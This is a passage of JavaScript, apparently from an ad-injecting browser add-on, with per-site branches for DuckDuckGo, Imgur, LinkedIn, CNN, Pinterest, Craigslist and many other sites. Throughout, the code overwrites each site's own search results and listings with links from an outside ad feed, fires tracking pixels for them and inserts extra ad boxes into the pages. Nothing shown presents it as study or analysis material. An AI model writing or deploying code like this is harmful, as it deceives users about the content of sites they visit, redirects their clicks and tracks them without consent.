jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.t').html(obj.items[gc].title);
jQuery(this).find('.u').html(obj.items[gc].displayUrl);
jQuery(this).find('.d').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
sw_cont = "";
last_sw = "";
for(i = 0; i<(3-gc); i++)
{
sw_cont = "sw-ads";
if(i > 0)
sw_cont += "-"+(i+1);
div = createXmlBox(sw_cont);
div.css('width', '770px');
if(last_sw == "")
jQuery('#gB5').prepend(div);
else
div.insertAfter('#'+last_sw);
last_sw = sw_cont;
}
}
else if(isDuckgo === true)
{
setTimeout(function(){jQuery('#ads > .results_links').each(function(){
var gc = 0;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a.large').attr('href', obj.items[gc].url);
jQuery(this).find('a.large').html(obj.items[gc].title);
jQuery(this).find('.url').html(obj.items[gc].displayUrl);
jQuery(this).find('.url').attr('href', obj.items[gc].url);
jQuery(this).find('.snippet > a').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}, 1000);
}
else if(isDevart === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.page-results > .tt-boxed').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.thumb').attr('href', obj.items[gc].url);
jQuery(this).find('.t').attr('href', obj.items[gc].url);
jQuery(this).find('.t').html(obj.items[gc].title);
jQuery(this).find('.category').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isImgur === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.posts > .post').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('img').attr('original-title', obj.items[gc].title+"
"+obj.items[gc].description+"
");
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isFindprices === true)
{
var gc = 0;
jQuery('.partners > li').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.partners-title').attr('href', obj.items[gc].url);
jQuery(this).find('.partners-title').html(obj.items[gc].title);
jQuery(this).find('.partners-inner').html(obj.items[gc].description + ' '+obj.items[gc].displayUrl+'');
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
sw_cont = "";
last_sw = "";
for(i = 0; i<(3-gc); i++)
{
sw_cont = "sw-ads";
if(i > 0)
sw_cont += "-"+(i+1);
div = createXmlBox(sw_cont);
div.css('width', '950px');
if(last_sw == "")
jQuery('.partners-links').prepend(div);
else
div.insertAfter('#'+last_sw);
last_sw = sw_cont;
}
}
else if(isSafercar === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('#googleContent > .googleResult').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.googleTitle > a').attr('href', obj.items[gc].url);
jQuery(this).find('.googleTitle > a').html(obj.items[gc].title);
jQuery(this).find('.googleSnippet').html(obj.items[gc].description);
jQuery(this).find('.googleUrl').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
sw_cont = "";
last_sw = "";
for(i = 0; i<(3-gc); i++)
{
sw_cont = "sw-ads";
if(i > 0)
sw_cont += "-"+(i+1);
div = createXmlBox(sw_cont);
div.css('width', '850px');
if(last_sw == "")
jQuery('#googleContent').prepend(div);
else
div.insertAfter('#'+last_sw);
last_sw = sw_cont;
}
}
else if(isAbcteach === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('#thumbnailView > .yui3-g > .yui3-u-1-4').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.yui3-u-3-4 > div > a').attr('href', obj.items[gc].url);
jQuery(this).find('.centered > a').attr('href', obj.items[gc].url);
jQuery(this).find('.centered > a').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isAliexpress === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('#hs-list-items > ul > li').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.picRind').attr('href', obj.items[gc].url);
jQuery(this).find('.product').attr('href', obj.items[gc].url);
jQuery(this).find('.product').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isJimmyjazz === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.product_grid > .product_grid_item').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.product_grid_image > a').attr('href', obj.items[gc].url);
jQuery(this).find('.product_grid_brand > a').attr('href', obj.items[gc].url);
jQuery(this).find('.product_grid_brand > a').html(obj.items[gc].title);
jQuery(this).find('.product_grid_title > a').attr('href', obj.items[gc].url);
jQuery(this).find('.product_grid_title > a').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isJeepforum === true)
{
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '1160px');
div.insertBefore('#cse-search-results');
div2.css('width', '1160px');
div2.insertAfter('#cse-search-results');
div3.css('width', '1160px');
div3.insertAfter('#sw-ads');
div4.css('width', '1160px');
div4.insertAfter('#sw-ads-3');
}
else if(isCrengland === true)
{
var gc = 0;
jQuery('.search-results > li.search-result').each(function(){
gcc = gc+1;
if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.title > a').attr('href', obj.items[gc].url);
jQuery(this).find('.title > a').html(obj.items[gc].title);
jQuery(this).find('.search-snippet').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
sw_cont = "";
last_sw = "";
for(i = 0; i<(3-gc); i++)
{
sw_cont = "sw-ads";
if(i > 0)
sw_cont += "-"+(i+1);
div = createXmlBox(sw_cont);
div.css('width', '620px');
if(last_sw == "")
jQuery('.search-results').prepend(div);
else
div.insertAfter('#'+last_sw);
last_sw = sw_cont;
}
}
else if(isBehance === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.covers > .project-cover').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.cover-img-link').attr('href', obj.items[gc].url);
jQuery(this).find('.cover-name-link').attr('href', obj.items[gc].url);
jQuery(this).find('.cover-name-link').html(obj.items[gc].title);
jQuery(this).find('.single-owner-link').attr('href', obj.items[gc].url);
jQuery(this).find('.js-mini-profile').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isRewarder === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.rewards > .new-reward').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.reward_title').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isRmondpie === true)
{
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '600px');
div.insertBefore('#cse-search-results');
div2.css('width', '600px');
div2.insertAfter('#cse-search-results');
div3.css('width', '600px');
div3.insertAfter('#sw-ads');
div4.css('width', '600px');
div4.insertAfter('#sw-ads-3');
}
else if(is123peppy === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('ul.game-panel > li.game-item').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.thumbnail > a').attr('href', obj.items[gc].url);
jQuery(this).find('.gametitle > a').attr('href', obj.items[gc].url);
jQuery(this).find('.gametitle > a').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isMovie2k === true)
{
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '980px');
div.insertBefore('#tdmoviesheader');
div2.css('width', '980px');
div2.insertAfter('');
div3.css('width', '980px');
div3.insertAfter('#sw-ads');
div4.css('width', '980px');
div4.insertAfter('#sw-ads-3');
}
else if(isWmur === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.results > li').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('hgroup > h2 > a').attr('href', obj.items[gc].url);
jQuery(this).find('hgroup > h2 > a').html(obj.items[gc].title);
jQuery(this).find('p').html(obj.items[gc].description);
jQuery(this).find('a').attr('href', obj.items[gc].url);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isIsticker === true)
{
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '560px');
div.insertBefore('#catTable');
div2.css('width', '560px');
div2.insertAfter('#catTable');
div3.css('width', '560px');
div3.insertAfter('#sw-ads');
div4.css('width', '560px');
div4.insertAfter('#sw-ads-3');
}
else if(isNbcphil === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.story').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.category > a').attr('href', obj.items[gc].url);
jQuery(this).find('.category > a').html(obj.items[gc].displayUrl);
jQuery(this).find('.title > a').attr('href', obj.items[gc].url);
jQuery(this).find('.title > a').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isGriffin === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('products-grid > .item').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.product-image').attr('href', obj.items[gc].url);
jQuery(this).find('.product-name > a').attr('href', obj.items[gc].url);
jQuery(this).find('.product-name > a').html(obj.items[gc].title);
jQuery(this).find('.tagline').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isLds === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.lds-teaser').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('div > h3 > a').attr('href', obj.items[gc].url);
jQuery(this).find('div > h3 > a').html(obj.items[gc].title);
jQuery(this).find('.meta > li').html(obj.items[gc].displayUrl);
jQuery(this).find('div > p').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isPcrich === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('ul.item-list > .item-item').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.item-title > a').attr('href', obj.items[gc].url);
jQuery(this).find('.item-title > a').html(obj.items[gc].title);
jQuery(this).find('.item-sku > li').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isPcmag === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('ul.items > li').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.searchtitle').attr('href', obj.items[gc].url);
jQuery(this).find('.searchtitle').html(obj.items[gc].title);
jQuery(this).find('p').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isSidereel === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.search-results-wrapper > .showcard-wrapper').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.show-image > a').attr('href', obj.items[gc].url);
jQuery(this).find('.sr-header > a').attr('href', obj.items[gc].url);
jQuery(this).find('.sr-header > a').html(obj.items[gc].title);
jQuery(this).find('.show-information-top > div').html(obj.items[gc].displayUrl);
jQuery(this).find('.short-summary').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isUgg === true)
{
var gc = 0;
jQuery('#search-result-items > li').each(function(){
if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.thumb-link').attr('href', obj.items[gc].url);
jQuery(this).find('.name-link').attr('href', obj.items[gc].url);
jQuery(this).find('.name-link').html(obj.items[gc].title);
jQuery(this).find('.show-information-top > div').html(obj.items[gc].displayUrl);
jQuery(this).find('.short-summary').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isFunnymama === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('#wall > article').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('h3 > a').attr('href', obj.items[gc].url);
jQuery(this).find('h3 > a').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isHamilton === true)
{
var gc = 0;
jQuery('#productsTab > .sisea-result').each(function(){
if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('p > a').attr('href', obj.items[gc].url);
jQuery(this).find('p > a').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isQuizlet === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.results > article').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.set-link').attr('href', obj.items[gc].url);
jQuery(this).find('.set-name-text').html(obj.items[gc].title);
jQuery(this).find('.added.reason').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isRantlife === true)
{
var gc = 0;
jQuery('.archive-list > li').each(function(){
if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.archive-image > a').attr('href', obj.items[gc].url);
jQuery(this).find('.archive-text > h2 > a').attr('href', obj.items[gc].url);
jQuery(this).find('.archive-text > h2 > a').html(obj.items[gc].title);
jQuery(this).find('.archive-byline > a').attr('href', obj.items[gc].url);
jQuery(this).find('.archive-byline > a').html(obj.items[gc].displayUrl);
jQuery(this).find('.archive-text > p').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isFashiondiva === true)
{
var gc = 0;
jQuery('.archive > li').each(function(){
if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.archive-image > a').attr('href', obj.items[gc].url);
jQuery(this).find('.archive-text > h2 > a').attr('href', obj.items[gc].url);
jQuery(this).find('.archive-text > h2 > a').html(obj.items[gc].title);
jQuery(this).find('.archive-text > p').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isNg === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('#results > .result_item').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.result_info > a').attr('href', obj.items[gc].url);
jQuery(this).find('.result_info > a > h4').html(obj.items[gc].title);
jQuery(this).find('.result_info > a > p').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isCnet === true)
{
var gc = 0;
jQuery('.searchResults.listingNews > ul > li').each(function(){
if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.resultImage > a').attr('href', obj.items[gc].url);
jQuery(this).find('.resultInfo > a').attr('href', obj.items[gc].url);
jQuery(this).find('.resultInfo > a').html(obj.items[gc].title);
jQuery(this).find('.resultSummary > p').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isPopphoto === true)
{
var gc = 0;
jQuery('.search-results > .search_result').each(function(){
if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.image-thumb > a').attr('href', obj.items[gc].url);
jQuery(this).find('.title > a').attr('href', obj.items[gc].url);
jQuery(this).find('.title > a').html(obj.items[gc].title);
jQuery(this).find('.submitted').html(obj.items[gc].displayUrl);
jQuery(this).find('.content').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isRedbubble === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.search-grid > a').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).attr('href', obj.items[gc].url);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isSephora === true)
{
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '780px');
jQuery('.search-results').prepend(div);
div2.css('width', '780px');
div2.insertAfter('');
div3.css('width', '780px');
div3.insertAfter('#sw-ads');
div4.css('width', '780px');
div4.insertAfter('#sw-ads-3');
}
else if(isDailykos === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.storiesAsGrid > tbody > tr').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.title').attr('href', obj.items[gc].url);
jQuery(this).find('.title').html(obj.items[gc].title);
jQuery(this).find('.author').attr('href', obj.items[gc].url);
jQuery(this).find('.author').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isCargurus === true)
{
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '600px');
div.insertBefore('#cse-search-results');
div2.css('width', '600px');
div2.insertAfter('#cse-search-results');
div3.css('width', '600px');
div3.insertAfter('#sw-ads');
div4.css('width', '600px');
div4.insertAfter('#sw-ads-3');
}
else if(is13wmaz === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.resultslist > .result').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.title > a').attr('href', obj.items[gc].url);
jQuery(this).find('.title > a').html(""+obj.items[gc].title+"
");
jQuery(this).find('.date').html(obj.items[gc].displayUrl);
jQuery(this).find('.summary').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isTinypic === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.browse > ul > li').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a').attr('href', obj.items[gc].url);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isMicrosoft === true)
{
var gc = 0;
jQuery('.organic_result').each(function(){
if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('li:first > a').attr('href', obj.items[gc].url);
jQuery(this).find('li:first > a > h3').html(obj.items[gc].title);
jQuery(this).find('.organic_result_displink > a').attr('href', obj.items[gc].url);
jQuery(this).find('.organic_result_displink > a').html(obj.items[gc].displayUrl);
jQuery(this).find('.organic_result_description').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isCnn === true)
{
var gc = 0;
jQuery('.cnnResultItem').each(function(){
if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.cnnResultTitle > a').attr('href', obj.items[gc].url);
jQuery(this).find('.cnnResultTitle > a').html(obj.items[gc].title);
jQuery(this).find('.cnnResultText').html(obj.items[gc].description+'');
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isLinkedin === true)
{
var gc = 0;
jQuery('#results > li').each(function(){
if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.title').attr('href', obj.items[gc].url);
jQuery(this).find('.title').html(obj.items[gc].title);
jQuery(this).find('.description > a').attr('href', obj.items[gc].url);
jQuery(this).find('.similiar > a').attr('href', obj.items[gc].url);
jQuery(this).find('.primary-action-button > a').attr('href', obj.items[gc].url);
jQuery(this).find('.description > a').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isPinterest === true)
{
setTimeout(function(){
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.padItems > .item').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.pinImageWrapper').attr('href', obj.items[gc].url);
jQuery(this).find('.pinDescription').html(obj.items[gc].description);
jQuery(this).find('.creditItem').attr('href', obj.items[gc].url);
jQuery(this).find('.creditName').html(obj.items[gc].title);
jQuery(this).find('.creditTitle').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}, 1500);
}
else if(isCraigslist === true)
{
var gc = 0;
var ct10 = 0;
var skip10 = 0;
jQuery('.content > .row').each(function(){
if(gc>0 && gc%3 == 0)
skip10 = 1;
if(skip10 == 1)
{
if(ct10 < 10)
ct10++;
else if(ct10 == 10)
{
skip10 = 0;
ct10 = 0;
}
}
if(skip10 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.i').attr('href', obj.items[gc].url);
jQuery(this).find('.pl > a').attr('href', obj.items[gc].url);
jQuery(this).find('.pl > a').html(obj.items[gc].title);
jQuery(this).find('.gc').html(obj.items[gc].displayUrl);
jQuery(this).find('.gc').attr('href', obj.items[gc].url);
//jQuery(this).find('.resultDescription').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isBackpage === true)
{
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.mainBody > .cat.summary').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a.summaryImage').attr('href', obj.items[gc].url);
jQuery(this).find('.summaryHeader > a').attr('href', obj.items[gc].url);
jQuery(this).find('.summaryHeader > a').html(obj.items[gc].title);
jQuery(this).find('.summaryText').html(obj.items[gc].description);
jQuery(this).find('.resultsRegionLabel').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('.mainBody > .cat').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('a').html(obj.items[gc].title);
jQuery(this).find('.resultsRegionLabel').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isBlinkx === true) {
div.css('width', '460px');
div.insertBefore('#stream');
div2.css('width', '460px');
div2.insertAfter('#stream');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '460px');
div3.insertAfter('#sw-ads');
div4.css('width', '460px');
div4.insertAfter('#sw-ads-3');
}
else if(isLocal === true) {
div.css('width', '500px');
jQuery('#googleadcontainertop').prepend(div);
div2.css('width', '500px');
div2.insertAfter('#featured-bucket');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '500px');
div3.insertAfter('#sw-ads');
div4.css('width', '500px');
div4.insertAfter('#sw-ads-3');
}
else if(isYellowbook === true) {
div.css('width', '580px');
div.insertBefore('#local-listings');
div2.css('width', '580px');
div2.insertAfter('#local-listings');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '580px');
div3.insertAfter('#sw-ads');
div4.css('width', '580px');
div4.insertAfter('#sw-ads-3');
}
else if(isYellowpages === true) {
div.css('width', '610px');
div.insertBefore('.results-column');
div2.css('width', '610px');
div2.insertBefore('#related-searches');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '610px');
